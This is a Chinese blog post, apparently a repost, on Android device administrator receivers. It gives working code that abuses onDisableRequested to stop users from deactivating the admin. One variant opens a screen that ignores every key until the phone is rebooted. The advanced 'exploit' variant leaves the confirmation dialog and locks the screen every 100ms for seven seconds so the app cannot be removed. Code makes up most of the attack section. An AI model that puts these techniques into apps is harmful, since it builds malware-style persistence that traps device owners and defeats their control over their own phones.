android设备管理器使用

关于安卓的设备管理器和设备管理器漏洞的使用

1.先在配置文件中加入

<receiver android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
intent-filter>
receiver>

2.用于配置的xml文件my_admin.


<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
        <uses-policies>
                <limit-password />
                <watch-login />
                <reset-password />
                <force-lock />
                <wipe-data />
        uses-policies>
device-admin>

3.java代码

public class MyAdmin extends DeviceAdminReceiver {  

    @Override  
    public void onReceive(Context context, Intent intent) {  
        super.onReceive(context, intent);  
        // Intent i = new Intent(context, MainActivity.class);  
        // i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
        // context.startActivity(i);  
        Log.e("autosetting", "receiver onReceive");  
    }  

    /** 
     * 获取设备存储的数值 
     *  
     * @param context 
     * @return 
     */  
    public static SharedPreferences getDevicePreference(Context context) {  
        return context.getSharedPreferences(DeviceMyReceiver.class.getName(), 0);  
    }  

    // 密码的特点  
    public static String PREF_PASSWORD_QUALITY = "password_quality";  
    // 密码的长度  
    public static String PREF_PASSWORD_LENGTH = "password_length";  

    public static String PREF_MAX_FAILED_PW = "max_failed_pw";  

    void showToast(Context context, CharSequence text) {  
        Toast.makeText(context, text, Toast.LENGTH_SHORT).show();  
    }  

    @Override  
    public void onEnabled(Context context, Intent intent) {  
        showToast(context, "设备管理:可用");  
    }  

    @Override  
    public void onDisabled(Context context, Intent intent) {  
        showToast(context, "设备管理:不可用");  
    }  

    @Override  
    public CharSequence onDisableRequested(Context context, Intent intent) {  
        // 这里处理 不可编辑设备。  
        Intent intent2 = new Intent(context, NoticeSetting.class);  
        intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  
        context.startActivity(intent2);  
        context.stopService(intent);// 是否可以停止  
        return ""; // "这是一个可选的消息,警告有关禁止用户的请求";  
    }  

    @Override  
    public void onPasswordChanged(Context context, Intent intent) {  
        showToast(context, "设备管理:密码己经改变");  
    }  

    @Override  
    public void onPasswordFailed(Context context, Intent intent) {  
        showToast(context, "设备管理:改变密码失败");  
    }  

    @Override  
    public void onPasswordSucceeded(Context context, Intent intent) {  
        showToast(context, "设备管理:改变密码成功");  
    }  

}  

核心代码为 onDisableRequested方法可以做很作操作。正常情况下是取消勾选时,提示用户一句话。这里 context.stopService(intent);我把设置界面给关了。然后呢 跳转到制定死机界面 NoticeSetting。NoticeSetting界面按键任何都不管用(重写返回键,home键和任务键),只能重启。。

进阶漏洞利用

–利用设备管理器的漏洞 重写DeviceAdminReceiver的onDisableRequested 只要用户点击取消启动
onDisableRequested 的locknow 再休眠7秒

public CharSequence onDisableRequested(Context context, Intent intent) {                                            

    //跳离当前询问是否取消激活的 dialog                                                                                          
    Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");             
    outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                                                            
    context.startActivity(outOfDialog);                                                                             

    //调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后                                                                
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
    dpm.lockNow();                                                                                                  
    new Thread(new Runnable() {                                                                                     
        @Override                                                                                                   
        public void run() {                                                                                         
            int i = 0;                                                                                              
            while (i < 70) {                                                                                        
                dpm.lockNow();                                                                                      
                try {                                                                                               
                    Thread.sleep(100);                                                                              
                    i++;                                                                                            
                } catch (InterruptedException e) {                                                                  
                    e.printStackTrace();                                                                            
                }                                                                                                   
            }                                                                                                       
        }                                                                                                           
    }).start();                                                                                                     

    return "";                                                                                                      
}

参考:
http://2bab.me/2015/02/09/app-cannot-be-uninstalled/
http://blog.csdn.net/androidsecurity/article/details/9124747

转载于:https://www.cnblogs.com/Tesi1a/p/7624126.html

你可能感兴趣的:(android设备管理器使用)